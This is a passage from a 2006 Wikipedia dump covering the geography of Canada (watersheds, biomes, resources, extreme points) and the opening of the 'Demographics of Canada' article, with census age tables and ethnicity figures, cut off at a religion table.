While the largest part of the Canadian Arctic is composed of seemingly non-stop permanent ice and [[tundra]] north of the [[tree line]], it encompasses geological regions of varying types: the [[Innuitian Region]] (with the [[British Empire Range]] and the [[United States Range]] on [[Ellesmere Island]]) contains the northernmost mountain system in the world.  The [[Arctic lowlands]] and [[Hudson Bay]] [[lowlands]] comprise a substantial part of the geographic region often designated as the [[Canadian Shield]] (in contrast to the sole geologic area). The ground in the Arctic is mostly composed of [[permafrost]], making construction difficult and often hazardous, and agriculture virtually impossible.

The Arctic, when defined as everything north of the [[tree line]], covers most of [[Nunavut]], and the northernmost parts of [[Northwest Territories]], [[Yukon]], [[Manitoba]], [[Ontario]], [[Quebec]], and [[Labrador]]. 

&lt;br clear=&quot;all&quot;&gt;

==Hydrography==
[[Image:canadadrainagebasinsmap.jpg|left|thumb|Drainage basins of Canada]]Canada holds vast reserves of water: 7% of the world's [[fresh water]], a quarter of humid lands and the third largest amount of [[glacier]]s (after [[Antarctica]] and [[Greenland]]).  Due to extensive [[glaciation]], Canada hosts more than two million  [[lake]]s: of those that entirely within Canada, more than 31,000 are between 3 and 100 square kilometres (1.2 &amp; 38.6 mi²) in area, while 563 are larger than 100 km&lt;sup&gt;2&lt;/sup&gt;.

There are 5 main [[watershed]]s in Canada: The [[Arctic Ocean|Arctic]] watershed, the [[Atlantic Ocean|Atlantic]], the [[Pacific Ocean|Pacific]], the [[Hudson Bay|Hudson]] watershed and, due to parts of the [[Milk River (Montana-Alberta)|Milk River]] running through Alberta, the [[Gulf of Mexico]] watershed.

The '''Atlantic watershed''' is mostly drained by the economically important [[St. Lawrence River]] and its tributaries, notably the [[Saguenay River|Saguenay]], [[Manicouagan River|Manicouagan]] and [[Outaouais River|Outaouais]] rivers. It drains the entirety of the Atlantic provinces (parts of the [[Quebec]]-[[Labrador]] [[boundary]] are fixed at the Atlantic [[continental divide]]), most of inhabitated Quebec and large parts of southern Ontario. The [[Great Lakes]], [[Lake Nipigon]], [[Churchill River (Atlantic)|Churchill River]], and [[St. John River]] are other important elements of the Atlantic watershed in Canada.

The '''Hudson Bay watershed''' drains over a third of Canada. It covers northern Ontario and Quebec, Manitoba, most of Saskatchewan and southern Alberta, southwestern Nunavut and the southern half of [[Baffin Island]].  This basin is most important in fighting [[drought]] in the [[Canadian Prairies|prairies]] and producing [[hydroelectricity]], especially in Manitoba, northern Ontario and Quebec. Major elements of this watershed include [[Lake Winnipeg]], [[Nelson River]], the [[North Saskatchewan River|North Saskatchewan]] and [[South Saskatchewan River|South]] [[Saskatchewan River]]s, [[Assiniboine River]] and [[Lake Netiling]], on Baffin Island.

The [[Continental Divide]], in the Rockies, separates the '''Pacific watershed''', in British Columbia and Yukon, from the Arctic and Hudson Bay watersheds. This watershed is important for irrigating the rich cultures of inner British Columbia (such as the [[Okanagan River|Okanagan]] and [[Kootenay River|Kootenay]] valleys) and producing hydroelectricity. Major elements are the [[Yukon River|Yukon]], [[Columbia River|Columbia]] and [[Fraser River]].

Northern parts of Alberta, Manitoba and British Columbia, most of Northwest Territories and Nunavut as well as parts of Yukon are drained by the '''Arctic watershed'''. This watershed has been little used for hydroelectricity, with the exception of the [[Mackenzie River]], the longest river of Canada. The [[Peace River (Canada)|Peace]], [[Athabasca River]], [[Great Bear Lake]] and [[Great Slave Lake]] (respectively the largest and second largest lakes wholly enclosed by Canada) are significant elements of the Arctic watershed. Each of these elements eventually merges with the Mackenzie so that it thereby drains the vast majority of the Arctic watershed.

==Floristic geography==
{{sectstub}}
{{main|Ecoregions of Canada}}

Main [[biome]]s of Canada:

* [[Tundra]]
* [[Boreal forest]]
* [[Mixed forest]]
* [[Broadleaf forest]]
* [[Prairie]]s
* [[Rocky Mountains]] - vegetation includes various types of tundra and forests
* [[Temperate coniferous forests]], of which the [[Temperate rain forest]]s of coastal British Columbia is an example.

==Human geography==
Canada is divided into thirteen [[Provinces and territories of Canada|provinces and territories]].  According to [[Statistics Canada]], 72.0% of the population is concentrated within 150 kilometres (95&amp;nbsp;mi) of the nation's southern border with the United States, 70.0% live south of the [[49th parallel]], and over 60% of the population lives along the [[Great Lakes]] and [[St. Lawrence River]] between [[Windsor, Ontario]] and [[Quebec City]].  This leaves the vast majority of Canada's territory as sparsely populated wilderness; Canada's population density is 3.5 people/km² (9.1/mi²), among the lowest in the world.  Despite this, 79.7% of Canada's population resides in [[Urban area|urban]] areas, where population densities are increasing.

Canada shares the world's [[United States-Canada border|longest undefended border]] with the US at 8,893 kilometres (5,526&amp;nbsp;mi); 2,477 kilometres (1,539&amp;nbsp;mi) are with [[Alaska]].  The [[Denmark|Danish]] island dependency of [[Greenland]] lies to Canada's northeast, separated from the [[Canadian Arctic islands]] by [[Baffin Bay]] and [[Davis Strait]].  The [[France|French]] islands of [[Saint-Pierre and Miquelon]] lie off the southern coast of [[Newfoundland]] in the [[Gulf of St. Lawrence]] and have a maritime territorial enclave within Canada's [[Exclusive Economic Zone]].

Canada's geographic proximity to the United States has historically bound the two countries together in the political world as well.  Canada's position between the [[Soviet Union]] (now [[Russia]]) and the US was strategically important during the [[Cold War]] as the route over the North Pole and Canada was the fastest route by air between the two countries and the most direct route for [[intercontinental ballistic missile]]s.   Since the end of the Cold War, there has been growing speculation that [[Canadian Arctic|Canada's Arctic]] maritime claims may become increasingly important if [[global warming]] melts the ice enough to open the [[Northwest Passage]].

Similarly, the disputed – and tiny – [[Hans Island]] (with Denmark), in the [[Nares Strait]] between [[Ellesmere Island]] and northern Greenland, may be a flashpoint for challenges to overall claims of Canadian sovereignty in [[Canadian Arctic|The North]].

Similar to the more famous American [[Four Corners (United States)|Four Corners]], Canada has a [[Four Corners (Canada)|point common to two provinces and two territories]], near [[Kasba Lake]].

==Natural resources==
Canada's abundance of natural resources is reflected in their continued importance in the [[Economy of Canada]]. Major resource-based industries are [[Fisheries]], [[Forestry]], [[Agriculture]], [[Fossil Fuel|Petroleum products]] and [[Mining]].

[[Image:prettyclearcut.jpg|thumb|left|250px|British Columbia's forests are often held up as examples of responsible logging]]
The fisheries industry has historically been one of Canada's strongest. Unmatched [[cod]] stocks on the [[Grand Banks]] off Newfoundland launched this industry in the 16th Century. Today these stocks are nearly depleted and their conservation has become a preoccupation of the [[Maritimes|Maritime provinces]]. On the West Coast, [[tuna]] stocks are now restricted.  The less depleted (but still greatly diminished) [[salmon]] population continues to drive a strong fisheries industry. Canada claims 12 nautical miles (22 km) of territorial sea, a contiguous zone of 24 nautical miles (44 km), an [[exclusive economic zone]] of 200 nautical miles (370 km) and a continental shelf of 200 nautical miles (370 km) or to the edge of the continental margin. 

Forestry has long been a major industry in Canada.  Forest products contribute one fifth of the nation's exports.  The provinces with the largest forestry industries are [[British Columbia]], [[Ontario]] and [[Quebec]].  54% of Canada's land area is covered in forest.  The boreal forests account for four fifths of Canada's forestland.   

[[Image:Grain Elevator 047.jpg|thumb|right|250px|Albertan [[grain elevator]]s]]
Five per cent of Canada's land area is arable, none of which is for permanent crops.  Three per cent of Canada's land area is covered by permanent pastures. Canada has 7,200 square kilometres (2,800&amp;nbsp;mi²) of irrigated land (1993 estimate).   Agricultural regions in [[Canada]] include the [[Canadian prairies]], the [[Lower Mainland]] and interior plateau of British Columbia, the [[St. Lawrence Basin]] and the Canadian [[Maritimes]]. Main crops in Canada include [[flax]], [[oat]]s, [[wheat]], [[maize]], [[barley]], [[sugar beet]]s and [[rye]] in the prairies; flax and maize in [[Western Ontario]]; Oats and [[potato]]es in the Maritimes. [[Fruit]] and [[vegetable]]s are grown primarily in the [[Annapolis Valley]] of Nova Scotia, [[Southwestern Ontario]], the [[Golden Horseshoe]] region of Ontario, along the south coast of [[Georgian Bay]] and in the [[Okanagan]] Valley of British Columbia. [[Cattle]] and [[domestic sheep|sheep]] are raised in the valleys of BC.  Cattle, sheep and [[Hog]]s are raised on the prairies, Cattle and Hogs in Western Ontario, Sheep and Hogs in Quebec, and sheep in the Maritimes. There are significant [[Dairy]] regions in Central Nova Scotia, Southern New Brunswick, the St. Lawrence Valley, [[Northeastern Ontario]], Southwestern Ontario, the [[Red River]] valley of [[Manitoba]] and the valleys of eastern British Columbia, on [[Vancouver Island]] and the [[Lower mainland]]. 

[[Image:Oil sands open pit mining.jpg|thumb|right|[[Suncor Energy]]'s tar sands operations in Alberta]]
Fossil Fuels are a more recently developed resource in Canada. While Canada's [[crude oil]] deposits are fewer, technological developments in recent decades have opened up oil production in Alberta's [[Tar Sands]] to the point where Canada now has some of the largest reserves of oil in the world. In other forms, Canadian industry has long exploited large [[coal]] and [[natural gas]] reserves.

Canada's mineral resources are diverse and extensive. Across the Canadian Shield and in the north there are large [[iron]], [[nickel]], [[zinc]], [[copper]], [[gold]], [[lead]], [[molybdenum]], and [[uranium]] reserves. Large [[diamond]] concentrations have been recently developed in the arctic, making Canada one of the world's largest producers.

Canada's many rivers have afforded extensive development of [[hydroelectricity|hydroelectric power]]. Extensively developed in British Columbia, Ontario, Quebec and [[Labrador]], the many dams have long provided a clean, dependable source of energy.

==Natural hazards== 
Continuous permafrost in the north is a serious obstacle to development; cyclonic storms form east of the [[Rocky Mountains]], a result of the mixing of air masses from the [[Arctic]], Pacific, and North American interior, and produce most of the country's rain and snow

==Current environmental issues== 
Air pollution and resulting acid rain severely affecting lakes and damaging forests; metal smelting, coal-burning utilities, and vehicle emissions impacting on agricultural and forest productivity; ocean waters becoming contaminated due to agricultural, industrial, mining, and forestry activities.

:''See also: [[Acid rain]], [[Kyoto Protocol]]''

==Extreme points==
[[Image:Canada topo.jpg|thumb|Topographic map]]
This is a list of the '''extreme points of [[Canada]]''', the points that are farther north, south, east or west than any other location.

'''''Canada'''''
* Northernmost point
** land: [[Cape Columbia]], [[Ellesmere Island]], [[Nunavut]] – ''83°06'N'', 69°57'W
** water: North Pole – ''90°N''
* Southernmost point: [[Middle Island]], [[Ontario]] – ''41°41'N'', 82°40'W
* Westernmost point: [[Yukon]]-[[Alaska]] border – ''141°00'W''
* Easternmost point: [[Cape Spear]], [[Newfoundland and Labrador|Newfoundland]] – 47°31'N, ''52°37'W'' {{coor dms|47|31|24|N|52|37|10|W|}} 

'''''Canada (mainland)'''''
* Northernmost point: [[Murchison Promontory]] on [[Boothia Peninsula]], [[Nunavut]] – 71°58'N
* Southernmost point: [[Point Pelee National Park|Point Pelee]], [[Ontario]] – ''41°58'N''
* Westernmost point: [[Yukon]]-[[Alaska]] border – ''141°00'W''
* Easternmost point: [[Cape St. Charles]], [[Labrador]] – 52°13'N, ''55°37'W'' {{coor dms|52|13|03|N|55|37|15|W|}} 

'''''Elevation extremes'''''
* Lowest point: [[sea level]] – 0 m
* Highest point: [[Mount Logan]] – 5,959 m&amp;nbsp;/&amp;nbsp;19,550&amp;nbsp;ft

:''See also: [[Extreme points of Canadian provinces]]''

==See also==
{{Commonscat|Geography of Canada}}
*[[List of highest points of Canadian provinces and territories]]
*[[List of areas disputed by the United States and Canada]]
*[[Extreme communities of Canada]]
*[[Canadian Rockies]]

===Lists===

*[[List of regions of Canada]]
*[[List of islands of Canada]]
**[[List of islands of Ontario]]
*[[List of rivers in Canada]]
**[[List of Quebec rivers]]
*[[List of lakes of Canada]]
**[[List of lakes of Ontario]]
*[[List of mountain ranges and mountains of Canada]]
*[[Canadian National Parks]]

===Provincial geography===

*[[Geography of Alberta]]
*[[Geography of British Columbia]]
*[[Geography of Manitoba]]
*[[Geography of Newfoundland and Labrador]]
*[[Geography of New Brunswick]]
*[[Geography of Nova Scotia]]
*[[Geography of Nunavut]]
*[[Geography of Ontario]]
*[[Geography of Quebec]]
*[[Geography of Saskatchewann]]
*[[Geography of Northwest Territories]]
*[[Geography of Yukon]]
*[[Canadian Geographic]]

==External links==
*[http://atlas.gc.ca/site/english/maps/reference The Atlas of Canada (Govt of Canada)]
*[http://www.canadiangeographic.ca/atlas/ The Canadian Atlas Online (Canadian Geographic)]
*[http://www.culture.ca/canada/english.jsp Culture.ca Canadian Geography]

[[Category:Geography of Canada|*]]

[[es:Geografía de Canadá]]
[[fr:Géographie du Canada]]
[[pl:Geografia Kanady]]
[[pt:Geografia do Canadá]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Canada</title>
    <id>5193</id>
    <revision>
      <id>39374264</id>
      <timestamp>2006-02-12T19:18:47Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Canada-demography.png|thumb|300px|right|Demographics of Canada, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
'''Population of [[Canada]]:'''  32,320,000 (October 2005 est.); 30,007,894 (2001 Census)

See also: [[List of Canadian provinces and territories by population]].

==Age structure==
[[Image:Canada age structure 2001.png|thumb|right|300px|Age structure of Canadian population, 2001]]
''(2001 Census)''

&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
&lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td colspan=&quot;2&quot; align=&quot;center&quot;&gt;&lt;b&gt;Males&lt;/b&gt;&lt;/td&gt;
    &lt;td colspan=&quot;2&quot; align=&quot;center&quot;&gt;&lt;b&gt;Females&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr valign=&quot;bottom&quot;&gt;&lt;td align=&quot;left&quot;&gt;&lt;i&gt;Age &lt;br&gt;Group &amp;nbsp;&lt;/i&gt;&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;&lt;i&gt;Number&lt;/i&gt;&lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;&lt;i&gt;Per cent&lt;/i&gt;&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;&lt;i&gt;Number&lt;/i&gt;&lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;&lt;i&gt;Per cent&lt;/i&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;0-4&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;868,075 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.9%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;828,210 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;5-9&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,011,460 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.4%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;964,675 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;10-14&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,051,450 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.5%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,001,665 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;15-19&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,052,145 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.5%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,001,180 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;20-24&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;982,280 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.3%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;973,530 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;25-29&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;935,510 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.1%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;962,685 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;30-34&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,041,255 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.5%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,065,490 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;35-39&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,245,000 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;4.1%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,277,855 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;4.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;40-44&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,271,725 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;4.2%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,307,040 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;4.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;45-49&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,151,155 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.8%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,182,380 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;50-54&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,033,365 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.4%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;1,052,395 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;3.5%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;55-59&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;789,205 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.6%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;805,030 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;60-64&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;621,570 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.1%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;652,215 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;65-69&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;543,825 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.8%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;589,800 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;2.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;70-74&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;461,785 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.5%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;547,430 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;75-79&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;338,820 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.1%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;474,850 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;80-84&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;192,645 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;0.6%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;323,490 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;85+&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;125,580 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;0.4%&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;290,325 &lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;1.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Totals&lt;/b&gt;&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;&lt;b&gt;14,716,850&lt;/b&gt;&lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;&lt;b&gt; 49.0%&lt;/b&gt;&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;&lt;b&gt;15,300,245&lt;/b&gt;&lt;/td&gt;
    &lt;td align=&quot;center&quot;&gt;&lt;b&gt;51.0%&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;



===Median age===
*''total:''  37.8 years
**''male:''   36.9 years
**''female:'' 38.8 years (2002)

'''Median age by province and territory, 2001 Census'''
#[[Nova Scotia]]: 38.8
#[[Quebec]]: 38.8
#[[New Brunswick]]: 38.6
#[[British Columbia]]: 38.4
#[[Newfoundland and Labrador]]: 38.4
#[[Prince Edward Island]]: 37.7
#[[Ontario]]: 37.2
#[[Manitoba]]: 36.8
#[[Saskatchewan]]: 36.7
#[[Yukon]]: 36.1
#[[Alberta]]: 35.0
#[[Northwest Territories]]: 30.1
#[[Nunavut]]: 22.1
*CANADA: 37.6

==Population growth rates==
Canada: 0.94% (2003 est.)

'''5-year Change (1996-2001) by province and territory'''
#Alberta: 10.3%
#Nunavut: 8.1%
#Ontario: 6.1%
#British Columbia: 4.9%
#Quebec: 1.4%
#Manitoba: 0.5%
#Prince Edward Island: 0.5%
#Nova Scotia: -0.1%
#Saskatchewan: -1.1%
#New Brunswick: -1.2%
#Northwest Territories: -5.8%
#Yukon: -6.8%
#Newfoundland and Labrador: -7.0%
*CANADA 4.0%

==Vital statistics==
'''Birth rate:'''  10.99 births/1,000 population (2003 est.)

'''Death rate:''' 7.61 deaths/1,000 population (2003 est.)

'''Net migration rate:''' 6.01 migrant(s)/1,000 population (2003 est.)

'''Sex ratio:'''
* ''at birth:'' 1.05 male(s)/female
* ''under 15 years:'' 1.05 male(s)/female
* ''15-64 years:'' 1.01 male(s)/female
* ''65 years and over:'' 0.74 male(s)/female
* ''total population:'' 0.98 male(s)/female (2003 est.)

'''Infant mortality rate:''' 4.88 deaths/1,000 live births (2003 est.)

'''Life expectancy at birth:'''
* ''total population:'' 79.83 years
* ''male:'' 76.44 years
* ''female:'' 83.38 years (2003 est.)

'''Total fertility rate:''' 1.61 children born/woman (2003 est.)

==Ethnicity==
'''Nationality:'''
* ''noun:'' [[Canada|Canadian]](s)
* ''adjective:'' Canadian
[[Image:Italian-Immigrants-to-Canad.jpg|thumb|300px|A statue commemorating Italian immigration to Canada.]]

===Ethnic groups===
''Note: Respondents to the 2001 Canadian Survey were free to fill in any ethnic group that applied, thus many people belong to more than one group, and the percentages from each ethnicity do not add up to 100% overall''. However the most popular choice was &quot;Canadian&quot;, and this may mean that the other figures are not reliable as a record of the relative prevalence of the various ancestries represented by the other choices. Source: [http://www12.statcan.ca/english/census01/products/highlight/ETO/Table1.cfm?Lang=E&amp;T=501&amp;GV=1&amp;GID=0 Statistics Canada 2001 Census]

* Canadian (39.42%)
* [[English-Canadian|English]] (20.17%)
* [[French Canadian|French]] (15.75%)
* [[Scottish-Canadian|Scottish]] (14.03%)
* [[Irish Canadian|Irish]] (12.90%)
* [[German-Canadian|German]] (9.25%)
* [[Italian-Canadian|Italian]] (4.29%)
* [[Chinese Canadian|Chinese]] (3.69%)
* [[Ukrainian Canadian|Ukrainian]] (3.61%)
* [[First Nations]] (3.38%)
* [[Dutch Canadians|Dutch]] (3.12%)
* [[Polish Canadian|Polish]] (2.76%)
* [[Indo-Canadian|East Indian]] (2.41%)
* [[Black Canadian|Black African]] (2.23%)
* [[Norwegian-Canadian|Norwegian]] (1.23%)
* [[Portuguese Canadians|Portuguese]] (1.21%)
* [[Welsh-Canadian|Welsh]](1.18%)
* [[Jews in Canada|Jewish]] (1.18%)
* [[Russian-Canadian|Russian]] (1.14%)
* [[Filipino Canadian|Filipino]] (1.11%)
* [[Métis people (Canada)|Métis]] (1.04%)
* [[Swedish-Canadian|Swedish]] (0.95%)
* [[Hungarian Canadians|Hungarian]] (0.90%)

''See also'':  [[List of Canadians by ethnicity]]

===Visible minorities===
''Note that [[Aboriginal peoples in Canada|Aboriginal peoples]] are not considered visible minorities.''
&lt;TABLE border=&quot;1&quot; &gt;
&lt;TR&gt;&lt;TD&gt;&amp;nbsp;&lt;/td&gt;
    &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;'''Population'''&lt;/TD&gt;
    &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;'''Per cent of&lt;br&gt;population'''&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Chinese Canadian|Chinese]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;1,029,395&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;3.5%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[South Asian|Indo Canadian]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;917,075&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;3.1%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Black Canadian|Black]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;662,210&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;2.2%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Filipino Canadian|Filipino]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;308,575&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;1.0%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;Latin American&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;216,975&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.7%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Asian Canadian|Southeast Asian]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;198,880&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.7%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Arab Canadian|Arab]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;194,680&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.7%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;West Asian&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;109,285&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.4%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Korean Canadian|Korean]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;100,660&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.3%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;[[Japanese Canadian|Japanese]]&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;73,315&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.2%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;Visible minority, n.i.e.&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;98,920&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.3%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;Multiple visible minorities&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;73,875&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;0.2%&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD&gt;'''Total visible minority population'''&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;'''3,983,845'''&lt;/TD&gt;
   &lt;TD  ALIGN=&quot;RIGHT&quot;&gt;'''13.4%'''&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;&lt;TD COLSPAN=&quot;3&quot;&gt;''Source: Statistics Canada, 2001 Census, 97F0010XCB2001002''&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;

==[[Religion in Canada|Religion]]s== 
{|align=left border=1 cellpadding=4 style=&quot;text-align:right; border-collapse: collapse; font-size: 90%; margin-left: 20px&quot;
|+ &lt;big&gt;'''Top Self-Identified Religious Affiliations in Canada'''&lt;/big&gt;
|-
